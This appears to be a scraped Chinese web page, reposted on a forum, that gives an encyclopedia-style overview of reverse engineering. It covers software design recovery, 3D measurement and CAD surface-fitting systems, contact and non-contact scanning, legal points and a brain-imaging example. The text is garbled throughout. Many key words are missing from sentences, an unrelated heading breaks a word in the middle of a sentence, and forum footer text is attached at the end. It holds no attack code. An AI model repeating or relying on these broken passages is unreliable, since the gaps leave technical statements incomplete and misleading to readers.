1998年,NEWPOWER启动了逆向工程的一些项目,要求是把客户的现有转变成设计, 如果需要的话,进一步转化成产品需求规约。这恰恰与类似于的标准开发相逆。这样一来,客户就可以容易地维护他们的产品(需求,设计,源代码等等),而不需要想以前那样,每次改动产品都需要直接修改源代码。
是指从实物上采集大量的三维坐标点,并由此建立该物体的,进而开发出同类产品的先进技术。逆向工程与一般的设计制造过程相反,是先有实物后有模型。仿形加工就是一种典型的逆向工程应用。逆向工程,逆向工程的应用已从单纯的技巧性手工操作,发展到采用先进的计算机及测量设备,进行设计、分析、制造等活动,如获取修模后的模具形状、分析实物模型、基于现有产品的创新设计、快速仿形制造等。
通俗说,从某种意义上说,逆向工程就是仿造。这里的前提是默认我们传统的设计制造为“(当然,没有这种说法)”。
软件的逆向工程是分析程序,力图在比更高抽象层次上建立程序的表示过程,逆向工程是设计的恢复过程。逆向工程工具可以从已存在的程序中抽取数据结构、体系结构和程序设计信息。
逆向工程系统
研究或应用中的系统可分以下几类:
(1)针对具体应用开发的系统开发了一种针对机械零件识别的逆向工程系统,此系统只能识别由平面组成的零件。开发了基于微机的逆向工程系统主要用于仿制空军部门淘
逆向工程在编程中的应用从二进制到源码
汰的零件。
(2)专用曲面拟合软件系统曲面拟合是逆向工程的关键过程,开发了拟合3D激光扫描数据的软件包,数据点被交互的划分区域,拟合曲面输入通用CAD系统进行相交、延伸、过渡、建立完整的CAD模型。此系统只处理标准的二次曲面。
(3)与商用CAD系统的结合有些系统直接把数字化系统与商用CAD系统结合,Kwok开发的系统将CMM与AutoCAD结合起来,每测一个点的坐标,自动转化为IGES格式,系统具有实时可视化功能。
(4)测量与拟合的集成
以上系统中数字化与曲面拟合是两个分离的过程,为了提高测量精度,用拟合结果指导测量,减少测量数据,出现了测量与拟合的集成系统。Liang-Chia提出的集成系统,首先由用户交互地划分测量边界,每个面片的测量中实时进行B2样条曲面拟合,用拟合结果进行下一个测量点的位置预测,用实测值与预测值的误差控制测量精度和拟合精度。
(5)与快速原形制造的结合
缩短产品制造的周期是逆向工程的目的之一,出现了数字化系统直接用子制造的逆向工程与快速制造的集成系统,Jones C开发了由激光扫描结果产生螺旋线路径的系统。
逆向工程关键技术
当前使用的逆向工程系统存在以下不足之处:
(1)大多数系统是针对具体的应用而开发,数据处理往往针对特定的测量设备、测量对象,通用性差。
(2)曲面拟合系统大多是对于代数二次曲面,对自由曲面,特别是由大数据量散乱点拟合自由曲面,系统一般没有此功能
(3)数据区域分割往往要交互操作,降低了CAD建模的速度,自动化程度低;
(4)系统程度低,有些系统只侧重与曲面的拟合,有些系统只侧重于与特定制造技术的结合,系统只包含简单几何数据,不符合现代设计制造的并行思想。
3.2发展方向及关键技术
几何建模是逆向工程的关键环节,同时也是影响逆向工程速度的瓶颈问题,因此,提高逆向工程几何建模的自动化程度和通用性是逆向工程研究的一个重点方向。这是一种逆向工程几何建模自动化系统,具有体现设计意图的的特点,数据点的组织方式不限,输出的B-rep模型与现有商用CAD系统完全兼容。系统的关键技术在于特征的自动提取、组合自由曲面的光滑连接。
提高系统的集成性,有些情况CAD 模型并不是必需的,或者为了最快的制造产品,需要数字化系统与CMM 的直接结合;另外,有些产品(例如注塑模、注塑件的设计)需要多次进行CAE 分析,由数据点直接产生CAE 模型,可极大地提高产品的设计、分析过程,在上一节已有一些集成系统的应用实例,大多是根据具体情况的部分集成,邢渊提出了完整的逆向工程集成系统框架,具有CAD、CAE、CAM 多个数据接口,采用了的集成方法。关键技术是通用、开放的产品数据库结构。
测量可分为接触式测量和非接触式测量两大类。接触式测量方法通过传感测量头与样件的接触而记录样件表面的坐标位置,可以细分为点触发式和连续式方法。对于航空航天、汽车等行业,大型样件的测量一般可以选用接触式测量,以满足精度要求。因为,接触式测量中的点触发式测量可以通过人为规划,使得在大曲率或曲率变化剧烈的区域获得较多的测量点,而在相对平坦的区域则可以测量较少的点。结合造型方法,人工对被测物体进行区域规划,测量对物体形状起关键作用的特征线和曲线网格,数据点可以根据需要组织成模型重建软件所需要的形式,然后根据特征线及曲线网格重建物体的CAD模型,减少了数据处理的难度和工作量。其唯一的缺点是测量效率较低。
非接触式测量方法主要是基于光学、声学、磁学等领域中的基本原理,将一定的物理模拟量通过适当的算法转化为样件表面的坐标点。例如:声纳测量仪利用声音遇到被测物体产生回声的时间计算点与声源间的距离;激光测距法是将激光束的飞行时间转化为被测点与参考平面间的距离。非接触式测量使测量效率得到了极大提高,某些光学测量机可以在数秒钟内得到几十万个数据点,因而在测量过程中可以大大减少人工测量规划,在整个样件表面快速采集大量的密集点集。由于操作简便,以激光测距法为代表的非接触式测量技术近两年来,发展迅速,应用普及面越来越广。不过,非接触测量获得的海量数据的数据量非常庞大,常有几十万、上百万,甚至更多。必须配合较强功能的逆向软件和高性能的计算机设备,才能顺利使用。不过,根据,计算机硬件的性能迅速提高,软件技术也今非昔比,基于光学的非接触式测量方法和测量设备在逆向工程中得到了更为广泛的应用。
逆向工程相关法律
在美国及其他许多国家,制品或制法都受商业秘密保护,只要合理地取得制品或制法就可以对其进行逆向工程。专利需要把你的发明公开发表,因此专利不需要逆向工程就可进行研究。逆向工程的一种动力就是确认竞争者的产品是否侵权专利或侵犯版权。
为了互用性(例如,支持未公开的文件格式或硬件外围),而对软件或硬件系统进行的逆向工程被认为是合法的,虽然专利持有者经常反对并试图打压以任何目的对他们产品进行的逆向工程。
为了获取一个有版权的计算机程序中隐含的思想和功能元素且有合法的理由要获取,当只有拆解这一种方法时,根据法律判定,拆解是对有版权作品的公平使用。
逆向工程拓展应用
大脑逆向工程:在一个小房间的黑色帷幕后面,钛蓝宝石瞄准目标:用外科手术植入到活老鼠头骨中的一个半厘米大的玻璃窗口。当这只老鼠在一个类似跑步机的白色球状体上奔跑,并看着一块电脑屏幕时,激光器会发射千兆分之一秒钟的激光。如果老鼠用到了某些脑细胞,特殊的会让这些细胞发出绿光,它们的图像会被足以侦测出单个光子的相机捕捉下来。老鼠头骨中的那一小团组织把来自老鼠眼部的变成了一个相互作用。如果可以揭开了这个过程的秘密,科学家们就能了解哺乳动物的大脑是如何体验世界。[1]
.腾讯科技[引用日期]}

我要回帖

更多关于 lookup函数逆向查找 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信